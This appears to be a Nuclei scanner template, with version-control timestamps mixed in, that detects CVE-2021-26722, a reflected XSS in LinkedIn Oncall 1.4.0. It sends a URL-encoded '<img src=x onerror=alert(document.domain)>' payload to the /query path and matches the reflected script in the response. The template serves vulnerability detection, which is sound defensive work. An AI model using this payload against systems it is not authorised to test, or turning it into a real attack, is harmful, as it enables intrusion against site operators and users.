2021-02-07 20:09:58 +00:00
id : CVE-2021-26722
info :
name : LinkedIn Oncall 1.4.0 XSS
author : pikpikcu
severity : medium
2021-03-24 06:48:11 +00:00
description : LinkedIn Oncall through 1.4.0 allows reflected XSS via /query because of mishandling of the "No results found for" message in the search bar.
reference : https://github.com/linkedin/oncall/issues/341
2021-02-07 20:09:58 +00:00
tags : cve,cve2021,linkedin,xss
issues : https://github.com/linkedin/oncall/issues/341
requests :
- method : GET
path :
- "{{BaseURL}}/query/%3Cimg%20src=x%20onerror=alert(document.domain)%3E/all"
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "<img src=x onerror=alert(document.domain)>"
part : body
- type : word
words :
- "text/html"
part : header
